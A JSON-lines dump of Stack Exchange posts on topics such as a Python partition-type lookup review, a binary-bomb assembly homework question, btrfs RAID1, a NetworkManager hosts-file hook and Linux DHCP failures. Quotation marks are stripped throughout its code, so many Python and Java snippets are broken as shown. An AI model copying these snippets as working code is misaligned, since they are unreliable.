PowerEdge Server utilities (FAT fs),    df: DG/UX virtual disk manager partition | BootIt EMBRM,    e0: Reserved by STMicroelectronics for a filesystem called ST AVFS,    e1: DOS access or SpeedStor 12-bit FAT extended partition,    e3: DOS R/O | SpeedStor,    e4: SpeedStor 16-bit FAT extended partition < 1024 cyl.,    e5: Tandy MSDOS with logically sectored FAT,    e6: Storage Dimensions SpeedStor,    e8: LUKS,    eb: BeOS BFS,    ec: SkyOS SkyFS,    ed: plans to use this for an OS called Sprytix,    ee: Indication that this legacy MBR is followed by an EFI header,    ef: Partition that contains an EFI file system,    f0: Linux/PA-RISC boot loader,    f1: Storage Dimensions SpeedStor,    f2: DOS 3.3+ secondary partition,    f3: Storage Dimensions SpeedStor,    f4: SpeedStor large partition | Prologue single-volume partition,    f5: Prologue multi-volume partition,    f6: Storage Dimensions SpeedStor,    f7: DDRdrive Solid State File System,    f9: pCache,    fa: Bochs,    fb: VMware File System partition,    fc: VMware Swap partition,    fd: Linux raid partition with autodetect using persistent superblock,    fe: SpeedStor > 1024 cyl. | LANstep | IBM PS/2 IML (Initial Microcode Load) partition, located at the end of the disk. | Windows NT Disk Administrator hidden partition | Linux Logical Volume Manager partition (old),    ff: Xenix Bad Block Table}def parttype_2_description(parttype):    try:                returns the Partition Type Description        based on a two character (hex) string Partition type                return __PARTTYPE_TO_DESCRIPTION__[parttype.lower()]    except KeyError:        return 'Unknown partition type: ' + parttype.lower()def parttype_int_2_description(parttype):        returns the Partition Type Description    based on an integer partition type        return parttype_2_description(str(hex(parttype))[2:].rjust(2, '0'))def parttype_hex_2_description(parttype):        returns the Partition Type Descriptoin    based on a hex partition type        return parttype_2_description(str(parttype)[2:].rjust(2, '0'))def ishex(value):    if not str(value)[:2] == '0x':        return False    try:        hexval = int(value, 16)        return True    except:        return Falsedef isint(value):    return isinstance(value, int)def isstr(value):    return isinstance(value, str)def parttype(parttype):        returns the partition type descriptor based on    a string, int or hex partition type        if ishex(parttype): return parttype_hex_2_description(parttype)    if isint(parttype): return parttype_int_2_description(parttype)    if isstr(parttype): return parttype_2_description(parttype)    returndef main():    print('do not run this interactively')    print('import and call the parttype() function')    returnif __name__ == '__main__':    main ()"  , "title": "Disk Partition type lookup table"  , "tags": "python;python 3.x"  , "accepted_answer": "The dictionaryThe naming rules in PEP 8 state:__double_leading_and_trailing_underscore__: magic objects or attributes that live in user-controlled namespaces. E.g. __init__, __import__ or __file__. Never invent such names; only use them as documented.If your intention is to simply indicate that the dictionary is private, use a _single_leading_underscore.  Coupled with the convention to use ALL_CAPS for constants, I would name it _PARTTYPE_TO_DESCRIPTION.The keys in the dictionary represent numbers, right?  Then why not write them as numbers?  It is easier to normalize strings into integers than to format integers as strings, since there are a multitude ways to write 15 (e.g. 0f, 0F, 0x0f, 0x0F).The lookup functionsI'm not a fan of the parttype__2_description() naming.  The 2 looks like it's supposed to be some version number.Instead of three lookup functions, why not offer one function that just does the right thing depending on the argument value?I don't think that you should return 'Unknown partition type: 13' as if it were a valid result.  You could either raise an exception, or let the caller specify the fallback value.  When composing the exception string, don't mess with the input (.lower())  it's confusing.The parttype_2_description docstring is botched.  It needs to be the very first thing inside the function.Suggested solutionI would write one function that handles all the cases, and include a docstring with doctests to thoroughly describe how to use it._PARTTYPE_TO_DESCRIPTION = {    0x00: Empty,    0x01: DOS 12-bit FAT,    0x02: XENIX root,    0x03: XENIX /usr,    0x04: DOS 3.0+ 16-bit FAT (up to 32M),    0x05: DOS 3.3+ Extended Partition,    0x06: DOS 3.31+ 16-bit FAT (over 32M),    0x07: Windows NTFS | OS/2 IFS | exFAT | Advanced Unix | QNX2.x pre-1988,    0x08: AIX boot | OS/2 (v1.0-1.3 only) | SplitDrive | Commodore DOS | DELL partition spanning multiple drives | QNX 1.x and 2.x ('qny'),    0x09: AIX data | Coherent filesystem | QNX 1.x and 2.x ('qnz'),    0x0A: OS/2 Boot Manager | Coherent swap partition | OPUS,    0x0B: WIN95 OSR2 FAT32,    0x0C: WIN95 OSR2 FAT32, LBA-mapped,    0x0D: SILICON SAFE,    0x0E: WIN95: DOS 16-bit FAT, LBA-mapped,    0x0F: WIN95: Extended partition, LBA-mapped,    0x10: OPUS (? - not certain - ?),        0xFF: Xenix Bad Block Table,}def partition_description(type, unknown_description=None):        Return the Partition Type Description for the partition type, given either    as an integer or as a hex string.    >>> partition_description(15)    'WIN95: Extended partition, LBA-mapped'    >>> partition_description(0x0f)    'WIN95: Extended partition, LBA-mapped'    >>> partition_description('0x0f')    'WIN95: Extended partition, LBA-mapped'    >>> partition_description('0x0F')    'WIN95: Extended partition, LBA-mapped'    >>> partition_description('0F')    'WIN95: Extended partition, LBA-mapped'    >>> partition_description('0f')    'WIN95: Extended partition, LBA-mapped'    If unknown_description is also given, then it will be returned if there is    no such partition type.    >>> partition_description(0x13, 'Bogus partition!')    'Bogus partition!'    If unknown_description is None or is omitted, then ValueError will be    raised for unrecognized partition types.    >>> partition_description('0x13')    Traceback (most recent call last):      ...    ValueError: Unknown partition type: 0x13        type_num = type if isinstance(type, int) else int(type, base=16)    description = _PARTTYPE_TO_DESCRIPTION.get(type_num, unknown_description)    if description is None:        raise ValueError('Unknown partition type: ' + str(type))    return description"  } 
{  "id": "_reverseengineering.11037"  , "question": "I have an assignment for reverse engineering a binary. The function I'm up to takes a string input and reads one character at a time. It is as follows (push/pop registers removed): 8048b6e: mov    $0x8049ee9,%esi  8048b73: movzbl (%esi),%edx ; (%esi) = 0x654A6167 8048b76: test   %dl,%dl 8048b78: je     8048bb2  8048b7a: mov    0x8(%ebp),%ebx 8048b7d: mov    $0x16,%edi 8048b82: movzbl (%ebx),%eax 8048b85: sub    $0x61,%eax 8048b88: cmp    $0x19,%al 8048b8a: ja     8048b97  8048b8c: mov    %edi,%ecx 8048b8e: sub    %al,%cl 8048b90: mov    %ecx,%eax 8048b92: jns    8048b97  8048b94: add    $0x1a,%eax 8048b97: add    $0x61,%eax 8048b9a: cmp    %al,%dl 8048b9c: je     8048ba3  8048b9e: call   8048e18  8048ba3: add    $0x1,%esi 8048ba6: movzbl (%esi),%edx 8048ba9: test   %dl,%dl 8048bab: je     8048bb2  8048bad: add    $0x1,%ebx 8048bb0: jmp    8048b82 I'm having a little trouble understanding the logic of one part (8048b85 onwards) so I converted it to Ceax = *ebx;                                 // movzbl (%ebx),%eaxeax -= 97;                                  // sub    $0x61,%eax// cmp    $0x19,%al// ja     8048b97 <phase_3+0x32>if((unsigned)(eax & 0xFF) < 25){  ecx = edi;                                // mov    %edi,%ecx  int cl = (eax & 0xFF) - (ecx & 0xFF);     // sub    %al,%cl  ecx &= cl;  eax = ecx;                                // mov    %ecx,%eax  if(cl >= -127 && cl < 128)                // jns    8048b97  {    eax += 0x1A;                              // add    $0x1a,%eax  }}eax += 97;                                  // add    $0x61,%eaxif((eax & 0xFF) != (edx & 0xFF))            // cmp    %al,%dl{  trigger_bomb();                           //  call   8048e18 <trigger_bomb>}I'm not sure if what I converted to is correct. The first value being compared is 0x67 which is g in ascii which wont set the flag for ja as 0x19 > 0x67 - 0x61. If I try 0x67 - 0x1A as the input, since it's unsigned comparison it will never be < 25 as it will overflow back to 236. I thought then I would need to use a negative number so that if it overflows, it would go 0x67 but since the input is ascii I'm not sure that it is possible to input a negative value. So my question is where am I going wrong in my logic? I'm not looking to be given the answer since I will need to figure out the other 3 values, but what I'm trying just doesn't seem to be correct. Any pointers/advice would be greatly appreciated.Thankyou"  , "title": "Assembly - Binary Bomb Confusion"  , "tags": "assembly;x86;binary"  } 
{  "id": "_webmaster.27754"  , "question": "Possible Duplicate:Services to monitor and report if a web site goes down? I'm basically looking for a desktop-based software which can monitor my company's website and the web application's online availability. I know there are few online applications like Uptime Robot which does the same work but I have been asked to find a desktop based software which can monitor running in system tray and notify any down-time. A free software would be great.Any help would be appreciated. Thanks!"  , "title": "Desktop Software to monitor online status of web site and web-based application"  , "tags": "analytics;monitoring"  } 
{  "id": "_unix.57044"  , "question": "I have recently bought a Dell XPS Touch. I'm dual booting Windows 7 with Fedora 16 (Verne). Right out of the box, Fedora reports 1 hour 26 minutes of battery life at full charge, while Windows reports a whopping 4 hours!! Why is this happening? Am I missing some acpi module or something?A friend suggested to me that this could be due to the fact that I'm using nouveau instead of the proprietary nvidia driver. Does that sound reasonable?UpdateI am now on Debian Wheezy and still the issue persists. Removed Fedora tag."  , "title": "Dell battery performs worse under Linux"  , "tags": "battery"  , "accepted_answer": "Dell XPS seems to have an Nvidia hybrid (Optimus) graphics card. With correct driver setup, only the low-powered intel card is used, if you run more demanding applications, there's an automatic switch to the other card.By default, this is not supported (to my knowledge) in linux systems, and this is why the power consumption is so high: it uses the full power all the time. There's a project called bumblebee, that adds support for such hybrids, so you can switch them on and off manually.Bumblebee ProjectOn my dell (not an XPS), this worked wonderfully and got me up to the expected five hours battery time."  } 
{  "id": "_unix.358770"  , "question": "I have a Btrfs raid1 with 3 disks on a Ubuntu 16.04. However, it seems only 2 disks are being used instead of all 3. How should I fix this?root@one:~# btrfs fi shLabel: none  uuid: 3880b9fa-0824-4ffe-8f61-893a104f3567            Total devices 3 FS bytes used 54.77GiB            devid    1 size 2.73TiB used 56.03GiB path /dev/sda2            devid    2 size 2.73TiB used 56.03GiB path /dev/sdc2            devid    3 size 2.59TiB used 0.00B path /dev/sdb3I have tried running a conversion filter but still the /dev/sdb3 is not being used. root@one:~# btrfs balance start -dconvert=raid1 -mconvert=raid1 /top/raid/Done, had to relocate 112 out of 112 chunksroot@one:~# btrfs fi df /top/raid/Data, RAID1: total=55.00GiB, used=54.40GiBSystem, RAID1: total=32.00MiB, used=16.00KiBMetadata, RAID1: total=1.00GiB, used=373.06MiBGlobalReserve, single: total=128.00MiB, used=0.00BAt first, there's only 1 disk during Ubuntu server installation. Then I added a disk and converted to raid1. Then I added a thrid disk /dev/sdb3 and tried to balance again. The third disk is not being used.root@one:~# btrfs --versionbtrfs-progs v4.4I can mount /dev/sdb3 just fine.root@one:~# mount /dev/sdb3 /mntroot@one:~# ll /mnttotal 16drwxr-xr-x 1 root    root     74 Apr 13 09:37 ./drwxr-xr-x 1 root    root    200 Apr 12 21:19 ../drwxr-xr-x 1 root    root    200 Apr 12 21:19 @/drwxr-xr-x 1 root    root    152 Apr 12 15:31 @home/drwxrwx--t 1 root    root     36 Apr 13 09:38 @samba/root@one:~# btr fi shLabel: none  uuid: 3880b9fa-0824-4ffe-8f61-893a104f3567        Total devices 3 FS bytes used 54.82GiB        devid    1 size 2.73TiB used 56.03GiB path /dev/sda2        devid    2 size 2.73TiB used 56.03GiB path /dev/sdc2        devid    3 size 2.59TiB used 0.00B path /dev/sdb3"  , "title": "btrfs raid1 not using all disks?"  , "tags": "ubuntu;btrfs;raid1"  , "accepted_answer": "EDIT:NOTE: The btrfs FAQ states the following, as commented by @jeff-schaller (emphasis mine):btrfs supports RAID-0, RAID-1, and RAID-10. As of Linux 3.9, btrfs also supports RAID-5 and RAID-6 although that code is still experimental.btrfs combines all the devices into a storage pool first, and then duplicates the chunks as file data is created. RAID-1 is defined currently as 2 copies of all the data on different devices. This differs from MD-RAID and dmraid, in that those make exactly n copies for n devices. In a btrfs RAID-1 on three 1 TB devices we get 1.5 TB of usable data. Because each block is only copied to 2 devices, writing a given block only requires exactly 2 devices to be written to; reading can be made from only one.RAID-0 is similarly defined, with the stripe split across as many devices as possible. 3  1 TB devices yield 3 TB usable space, but offers no redundancy at all.RAID-10 is built on top of these definitions. Every stripe is split across to exactly 2 RAID-1 sets and those RAID-1 sets are written to exactly 2 devices (hence 4 devices minimum). A btrfs RAID-10 volume with 6  1 TB devices will yield 3 TB usable space with 2 copies of all data. I do not have large enough drives on hand to test this at the moment, but my speculation is simply that, since you have relatively large drives, btrfs simply chose to write the data to the first two drives thus far. I would expect that to change in the future as more data is written to the drives.In case you are interested in my tests with smaller drives:I installed Ubuntu Server 16.04 LTS in a VM with a single SATA drive, installed the OS on a single btrfs partition.Then I added another SATA drive, partitioned it, ran btrfs device add /dev/sdb1 /, and then balanced it while converting to raid1 with btrfs balance start -dconvert=raid1 -mconvert=raid1 /I repeated for device /dev/sdc1. The result for me is the same - I have a btrfs spanning three drives. I also fallocated a 2GiB file, and it was indeed accessible from all three disks. My btrfs fi sh shows the following:Label: none  uuid: cdfe192c-36da-4a3c-bc1a-74137abbb190    Total devices 3 FS bytes used 3.07GiB    devid    1 size 10.00GiB used 5.25GiB path /dev/sda1    devid    2 size 10.00GiB used 5.03GiB path /dev/sdb1    devid    3 size 8.00GiB used 2.28GiB path /dev/sdc1How did you call mkfs.btrfs? What is your btrfs-progs version? # btrfs --versionbtrfs-progs v4.4I cannot reproduce your situation. What happens if you try to mount /dev/sdb3?If you have a virtual machine or a spare disk to play with partitioning, create 3 partitions and try the following.I created an Ubuntu 16.04 VM and partitioned /dev/vda into three partitions of 2GiB each.# mkfs.btrfs -d raid1 -m raid1 /dev/vda{1..3}Label:              (null)UUID:               0d6278f7-8830-4a73-a72f-0069cc560aafNode size:          16384Sector size:        4096Filesystem size:    6.00GiBBlock group profiles:  Data:             RAID1           315.12MiB  Metadata:         RAID1           315.12MiB  System:           RAID1            12.00MiBSSD detected:       noIncompat features:  extref, skinny-metadataNumber of devices:  3Devices:   ID        SIZE  PATH    1     2.00GiB  /dev/vda1    2     2.00GiB  /dev/vda2    3     2.00GiB  /dev/vda3# btrfs fi shLabel: none  uuid: 0d6278f7-8830-4a73-a72f-0069cc560aaf    Total devices 3 FS bytes used 112.00KiB    devid    1 size 2.00GiB used 614.25MiB path /dev/vda1    devid    2 size 2.00GiB used 315.12MiB path /dev/vda2    devid    3 size 2.00GiB used 315.12MiB path /dev/vda3Try mounting /dev/vda1, writing a file to it, then mounting /dev/vda2 or /dev/vda3 instead and checking if the file is there (It definitely should be).PS: I first tried this on Arch with btrfs-progs version 4.10.2 with the same results, but thought that probably Ubuntu 16.04 ships with an older version that might behave differently. Turns out it ships with v4.4, but it seems to behave the same in regards to filesystem creation and mirroring etc."  } 
{  "id": "_unix.343374"  , "question": "I have a server at home, with internal IP 192.168.1.100. I use a dynamic DNS service so that I can reach it at http://foo.dynu.com when I am out. When I have my laptop at home, I know that I could directly connect to the server by adding the following line to /etc/hosts.192.168.1.100    foo.dynu.comHowever, is there a way to automatically apply this redirect only when I'm on my home network? (I usually connect via a particular wifi connection, although I occasionally connect via ethernet. If this complicates matters, then I'm happy to only set it for the wifi connection.) I use Network Manager.Also, I connect to the internet via a VPN, so presumably any configuration on my (OpenWRT) router is unlikely to work."  , "title": "Can I map an internal IP address to a domain name, when on a particular network?"  , "tags": "networking;dns;ip;vpn;hosts"  , "accepted_answer": "As per @garethTheRed's suggestion in the comments, I created a Network Manager Dispatcher hook.Create the following file at /etc/NetworkManager/dispatcher.d/99_foo.dynu.com.sh. This progresses when a new network connection is detected (i.e. ethernet or wifi). It then identifies my home network in two ways: the BSSID/SSID and the static IP that my router assigns me. (At the moment it doesn't work when I connect via ethernet, since that's relatively rare.) It then appends the mapping to the hosts file if we are in the home network; if not, then it removes this line.#!/bin/sh# Map domain name to internal IP when connected to home network (via wifi)# Partially inspired by http://sysadminsjourney.com/content/2008/12/18/use-networkmanager-launch-scripts-based-network-location/WIFI_ID_TEST='Connected to 11:11:11:11:11:11 (on wlp3s0)    SSID: WifiName'LOCAL_IP_TEST='192.168.1.90'MAPPING='192.168.1.100    foo.dynu.com'HOSTS_PATH=/etc/hostsIF=$1STATUS=$2# Either wifi or ethernet goes upif [ $STATUS = 'up' ] && { [ $IF = 'wlp3s0' ] || [ $IF = 'enp10s0' ]; }; then  # BSSID and my static IP, i.e. home network  if [ $(iw dev wlp3s0 link | head -n 2) = $WIFI_ID_TEST ] && [ -n $(ip addr show wlp3s0 to ${LOCAL_IP_TEST}) ]; then    grep -qx $MAPPING $HOSTS_PATH || echo $MAPPING >> $HOSTS_PATH  else    ESC_MAPPING=^$(<<<$MAPPING sed 's/\\./\\\\./g')$    sed -i /${ESC_MAPPING}/d $HOSTS_PATH  fifi"  } 
{  "id": "_codereview.117560"  , "question": "I have made a program to take x number of die and rolls them y number of times, then stores the data into an array so that I may output a CSV file. Everything works as intended, but I am having trouble figuring out how to increase the number of die to anything substantial. Right now I am using a switch, but linearly adding code like this seems inefficient, not to mention it will crash with amounts larger than 4 die. Is there some shortcut for adding variable number of switch statements? Any other methods would work as well, I am just not clever enough to come up with any as of yet.import javax.swing.JOptionPane;public class histogram {public static void main(String[] M83cluster) {    // # of die    String N = JOptionPane.showInputDialog(How many dice would you like to roll?);    int numofDie = Integer.parseInt(N);    // # of rolls    String M = JOptionPane.showInputDialog(how many times would you like to roll?);    int numofRolls = Integer.parseInt(M);    int maxValue = numofDie*6;    int[] taco = new int[maxValue]; // for every die there will be at most 6 values.    // rolls the die and obtains a value.    for (int i=0;i<numofRolls; i++) {        int oneTotalRoll = 0;        for (int k=0;k<numofDie; k++) {             oneTotalRoll += (int)(1+6*Math.random());        }        //int oneTotalRoll = (int) (valueofDice * numofDie);                        System.out.println(ROLL:  + oneTotalRoll);                    // for each roll, increment taco[] array.        switch (oneTotalRoll) {            case 4: taco[0] += 1;                break;            case 5: taco[1] += 1;                break;            case 6: taco[2] += 1;                break;            case 7: taco[3] += 1;                break;            case 8: taco[4] += 1;                break;            case 9: taco[5] += 1;                break;            case 10: taco[6] += 1;                break;            case 11: taco[7] += 1;                break;            case 12: taco[8] += 1;                break;            case 13: taco[9] += 1;                break;            case 14: taco[10] += 1;                break;            case 15: taco[11] += 1;                break;            case 16: taco[12] += 1;                break;            case 17: taco[13] += 1;                break;            case 18: taco[14] += 1;                break;            case 19: taco[15] += 1;                break;             case 20: taco[16] += 1;                break;            case 21: taco[17] += 1;                break;            case 22: taco[18] += 1;                break;            case 23: taco[19] += 1;                break;            case 24: taco[20] += 1;                break;            case 25: taco[21] += 1;                break;        }    }    System.out.println(-------);    String gorgon = null;  // prints outcome    for (int g=0; g<maxValue ; g++) {        String gigabolt = (taco[g] + ,);        gorgon += gigabolt;        // System.out.print(gigabolt);    }    if (gorgon.endsWith(,))         gorgon = gorgon.substring(4, gorgon.length() - 1);    System.out.print(gorgon);}}"  , "title": "Java rolling dice + csv array output"  , "tags": "java;beginner;dice"  } 
{  "id": "_datascience.14668"  , "question": "I have a basic understanding of javascript, and know hardly any other programming language. Am I bound to face some issues in the field of neural networks and machine learning because of this? Should I learn something else for the sake of avoiding some inherent weaknesses of the language? I am most worried about the capacity of javascript to handle data, rather than its possibilities regarding the textual implementation of the algorithms per se...Thank you"  , "title": "Limits of Javascript on the implementation of AI algorithms"  , "tags": "machine learning;neural network;javascript"  } 
{  "id": "_webmaster.72428"  , "question": "I'm trying to host a blog on Blogger with a custom domain.It's all good except the annoyance of many workplaces blocking the Blogger website using web-filters, including mine.This is causing the blog not to render/function properly.I can see in the Google Chrome developer tools that even though it's on my custom domain, it ask for a lot of resources from blogger.com, e.g.,  https ://www.blogger.com/static/v1/widgets/1535467126-widget_css_2_bundle.css https ://www.blogger.com/dyn-css/authorization.css?targetBlogID=12418145&zx=54164c77-4da2-4fc7-b3b6-5cf274c9c3b9https ://www.blogger.com/static/v1/widgets/2885176887-widgets.jsI'd like to replace these with custom links. Having said that, I don't see any reference to these in my template file."  , "title": "Blogger's embedded CSS and JavaScript"  , "tags": "blogger;javascript;css"  } 
{  "id": "_unix.156434"  , "question": "I'm looking for a way to change the hashing scheme on my Debian-based OS from sha512 to pbkdf2.Searching the internet hasn't helped much. The closest I've got is this question: Enable Blowfish-based Hash Support for CryptHowever, as pbkdf2 is not Blowfish-based, I'm back to square one."  , "title": "Change password hashing to PBKDF2 on Debian-based OS"  , "tags": "debian;security;password"  } 
{  "id": "_webapps.14839"  , "question": "I have both Facebook and Twitter accounts. I also use Linkedin.If I want a tweet to appear in my LinkedIn profile, I add the hashtag #in.Is there a way to do something similar with feeding Facebook from Twitter, so that not every tweet gets copied?"  , "title": "When connecting Twitter and Facebook, can posts be filtered?"  , "tags": "facebook;twitter;filter;linkedin"  , "accepted_answer": "You can use an application like Selective Tweets or TweetPo.st so your tweets ending with hashtag #fb will be automatically imported to Facebook, while all others will be ignored."  } 
{  "id": "_unix.66008"  , "question": "Is there an application that will set an audible alarm when the battery goes low on a centos 6 IBM 430 machine?Details of the problem here:I have set it hibernate when battery is low. However, it does not hibernate possibly because most of the time I am working in a full screen windows VM that prevents it from going to hibernate when I try to do it manually.Since I am not able to see the battery levels (I am working in a full screen windows VM), the nmachine switches off when battery goes low. So I lose all my data and in one instance, the VMs (I am running windows and ubuntu) got corrupted."  , "title": "any utility on centos 6 to sound an alarm when power is low"  , "tags": "centos;power management;hibernate"  , "accepted_answer": "A quick google throws this up:Check your battery status from the command lineA suggestion might be to parse out the percentage remaining of the battery charge, and play a sound when it falls to a certain low water mark/threshold.  You could then run this from cron/at every few minutes or so.  Very rudimentary but...cheerssc."  } 
{  "id": "_unix.386335"  , "question": "I can't drag and drop files to floppy disk. I execute the following command which didn't help:sudo adduser eric floppy groupsudo adduser eric rootI can not drag and drop. The error I get is:only root can do thatHow can I solve it?"  , "title": "drag and drop from desktop to floppy disk doesn't work"  , "tags": "files;permissions;root;floppy"  } 
{  "id": "_webmaster.12794"  , "question": "I have deluxe linux shared hosting with godaddy, and it supports perl. but i dont know how to setup and use perl scripts.Also i have no folder named CGI or CGI-BIN or anything like that.As movable type requires me to put my content in the CGI folder, i cant. creating it also doesn't work.So can you guide me on how to install movable type on godaddy. Also i dont want to spend money and install it from the godaddy hosting connection.And please remember as i'm on a shared hosting, i might not be able to edit my apache server configuration file.Thanks."  , "title": "Movable Type on GoDaddy"  , "tags": "godaddy;movabletype"  } 
{  "id": "_cogsci.8661"  , "question": "I am using nilearn and nipy package for python processing FMRI data. When computing mask, it says: Compute and write the mask of an image based on the grey level This is based on an heuristic proposed by T.Nichols: find the least dense point of the histogram, between fractions m and M of the total image histogram.and This is based on an heuristic proposed by T.Nichols: find the least dense point of the histogram, between fractions lower_cutoff and upper_cutoff of the total image histogram.In both masking functions of nilearn and nipy. Who is T.Nichols? I wasn't able to google him/her out.here are the links to the functions: http://nipy.org/nipy/stable/api/generated/nipy.labs.mask.htmlhttps://nilearn.github.io/building_blocks/generated/nilearn.masking.compute_epi_mask.html"  , "title": "Reference request for creator of heuristic for processing fMRI data (T.Nichols)"  , "tags": "reference request;fmri"  , "accepted_answer": "I know very little about fmri, but as @strongbad points out, surely it is Professor Thomas Nichols at Warwick.I'm not sure what the authoritative reference is, but Luo and Nichols (2003) might be worth a look. They state:We construct a histogram based on all non-tail data (10th to 90th percentile) and use the location of the minimum bin as the antimode estimate. Luo, W. L., & Nichols, T. E. (2003). Diagnosis and exploration of massively univariate neuroimaging models. NeuroImage, 19(3), 1014-1032. http://www-personal.umich.edu/~nichols/Docs/fMRIvis.pdf"  } 
{  "id": "_webmaster.22495"  , "question": "Possible Duplicate:Google analytics - drop in traffic Bit of a general question here. We are in the process of converting a number of our clients from older web sites to new ones. The problem we are getting, and sorry for being so general here, is we are getting a sharp decline in traffic as reported on Google Analytics. It's not a gradual decline, it seems to hit almost as soon as the new site goes live. I've just got a few questions to see if there is something we are doing wrong:a) We are using the same analytics accounts going from old to new site. Is this a bad idea?b) The actual analytics code is integrated into the pages using a server-side include. IS this a bad idea?c) We structure our sites differently to our old site. IE. The old sites would pretty must have all the web pages in the root directory, and hyperlinks would be linked to the page files:EG.      <a href=somepage.aspx>Link</a>Our new sites now have a directory structure that pretty much reflects the navigation structure, and hyper links link to the pages directory instead of the actual page:EG.    <a href=/new-items/shoes/>New shoes</a>Is this a bad idea. I'm really searching for a needle in a haystack here. Would appriciate any help or advice as to why we are getting such a sharp and sudden drop in traffic. "  , "title": "Google analytics - drop in traffic"  , "tags": "asp.net;google;google analytics;traffic;web traffic"  } 
{  "id": "_unix.178555"  , "question": "I'm adding multiple new system calls to kernel.I want to test my custom kernel by making an bootable ISO out of it trying to boot on another machine.As a part of making this bootable ISO, I got hold of the Ubuntu 14.04 bootable ISO and replaced the vmlinuz.efi in the Ubuntu14.04ISO/casper with the bzImage produced after the kernel build.This ISO didn't boot successfully. I guess I need to make a new inrd too and found commands like mkisofs but it requires to have the custom kernel installed on my machine, which I can't do as it's a common build server.Questions:What all files in the ISO have to changed to make it boot my custom kernel."  , "title": "Change the kernel in downloaded Ubuntu Image"  , "tags": "ubuntu;linux kernel;compiling;iso;initrd"  } 
{  "id": "_softwareengineering.345637"  , "question": "I have a binary file that I want to parse. The file is broken up into records that are 1024 bytes each. The high level steps needed are:Read 1024 bytes at a time from the file.Parse each 1024-byte record (chunk) and place the parsed data into a map or struct.Return the parsed data to the user and any error(s).Due to I/O constraints, I don't think it makes sense to attempt concurrent reads from the file. However, I see no reason why the 1024-byte records can't be parsed using goroutines so that multiple 1024-byte records are being parsed concurrently. I'm new to Go, so I wanted to see if this makes sense or if there is a better (faster) way:A main function opens the file and reads 1024 bytes at a time into byte arrays (records).The records are passed to a function that parses the data into a map or struct. The parser function would be called as a goroutine on each record.The parsed maps/structs are appended to a slice via a channel. I would preallocate the underlying array managed by the slice as the file size (in bytes) divided by 1024 as this should be the exact number of elements (assuming no errors).This appears to be a producer with multiple consumers (at least the way I'm thinking about it). I am aware of an example of this pattern in Go, but I'm not sure if this changes when reading contiguously from a file (it seems concurrent reads would slow things down, so only one producer, but many consumers parsing could speed things up—but I need to make sure I don't run out of memory also)."  , "title": "Concurrently parsing records in a binary file in Go"  , "tags": "concurrency;parsing;io;golang"  } 
{  "id": "_webapps.60020"  , "question": "The downloaded Facebook archive has a messages.htm file in it with my Facebook messages. But I know for sure that a lot of them are missing. My top conversation with about 65k messages has exactly 10000 messages in the messages.htm file. At the end of this conversation it says:<div class=warning>We were unable to download the remainder of this conversation.</div>In the past you had the ability to download an extended archive of your Facebook data but that doesn't seem to exist anymore. Is that right?So how can I get the messages.htm file containing all my Facebook messages?"  , "title": "Downloaded Facebook archive doesn't contain all messages"  , "tags": "facebook;export"  } 
{  "id": "_unix.366385"  , "question": "I am trying to transcode an audio of video. I have a live stream(video-h264, audio-mp2). I need to convert an audio to aac codec and stream it. I don't want to waste a lot of resource for video processing. How can I do it with ffmpeg? (I have already tried with copy option.)"  , "title": "How to transcode audio of video with ffmpeg?"  , "tags": "ffmpeg"  } 
{  "id": "_unix.336104"  , "question": "I've recently moved to a place with public wifi (so I don't have access to the router or their DHCP config), and am running into issues connecting with my Arch laptop.I've tried using both NetworkManager and netctl to connect, but both fail at getting a DHCP lease. It should be noted that every other device (Android and iOS phones, Windows and macOS laptops) do so without problems.How do I go about debugging this? Am I missing a package, or am I connecting wrong?NetworkManagerI use nmcli to connect:$ nmcli dev wifi*  SSID            MODE   CHAN  RATE       SIGNAL  BARS  SECURITY    ssidOfWifi      Infra  1     54 Mbit/s  52      __  WPA2        ssidOfWifi      Infra  13    54 Mbit/s  34      __  WPA2        ssidOfWifi      Infra  13    54 Mbit/s  22      ___  WPA2     $ nmcli dev wifi connect ssidOfWifi password passwordToWifiError: Connection activation failed: (5) IP configuration could not be reserved (no available address, timeout, etc.).$ systemctl status NetworkManager...Jan 09 17:49:43 home NetworkManager[5621]: <info>  [1483980583.9385] device (wlp2s0): Activation: (wifi) Stage 2 of 5 (Device Configure) successful.  Connected to wireless network 'ssidOfWifi'.Jan 09 17:49:43 home NetworkManager[5621]: <info>  [1483980583.9386] device (wlp2s0): state change: config -> ip-config (reason 'none') [50 70 0]Jan 09 17:49:43 home NetworkManager[5621]: <info>  [1483980583.9390] dhcp4 (wlp2s0): activation: beginning transaction (timeout in 45 seconds)Jan 09 17:50:29 home NetworkManager[5621]: <info>  [1483980629.0055] dhcp4 (wlp2s0): state changed unknown -> timeoutJan 09 17:50:29 home NetworkManager[5621]: <info>  [1483980629.0214] dhcp4 (wlp2s0): canceled DHCP transactionJan 09 17:50:29 home NetworkManager[5621]: <info>  [1483980629.0215] dhcp4 (wlp2s0): state changed timeout -> doneJan 09 17:50:29 home NetworkManager[5621]: <info>  [1483980629.0220] device (wlp2s0): state change: ip-config -> failed (reason 'ip-config-unavailable') [70 120 5]Jan 09 17:50:29 home NetworkManager[5621]: <info>  [1483980629.0223] manager: NetworkManager state is now DISCONNECTEDJan 09 17:50:29 home NetworkManager[5621]: <warn>  [1483980629.0233] device (wlp2s0): Activation: failed for connection 'ssidOfWifi'Jan 09 17:50:29 home NetworkManager[5621]: <info>  [1483980629.0319] device (wlp2s0): state change: failed -> disconnected (reason 'none') [120 30 0]Jan 09 17:50:29 home NetworkManager[5621]: <info>  [1483980629.0421] device (wlp2s0): set-hw-addr: set MAC address to AA:BB:CC:DD:EE:FF (scanning)Jan 09 17:50:29 home NetworkManager[5621]: <warn>  [1483980629.0453] sup-iface[0x1d5ec00,wlp2s0]: connection disconnected (reason -3)Jan 09 17:50:29 home NetworkManager[5621]: <info>  [1483980629.0454] device (wlp2s0): supplicant interface state: completed -> disconnectedNetctlI use wifi-menu -o to connect. This shows only one ssidOfWifi, unlike nmcli which shows one for each accesspoint.$ sudo wifi-menu -oJob for netctl@wlp2s0\\x2dssidOfWifi.service failed because the control process exited with error code.See systemctl status netctl@wlp2s0\\\\x2dssidOfNetwork.service and journalctl -xe for details.$ journalctl -xe...Jan 09 23:10:34 home dhcpcd[14402]: wlp2s0: soliciting a DHCP leaseJan 09 23:11:03 home dhcpcd[14402]: timed outJan 09 23:11:03 home dhcpcd[14402]: dhcpcd exitedJan 09 23:11:03 home network[14363]: DHCP IPv4 lease attempt failed on interface 'wlp2s0'Jan 09 23:11:03 home kernel: wlp2s0: deauthenticating from AA:BB:CC:DD:EE:FF by local choice (Reason: 3=DEAUTH_LEAVING)Jan 09 23:11:03 home network[14363]: Failed to bring the network up for 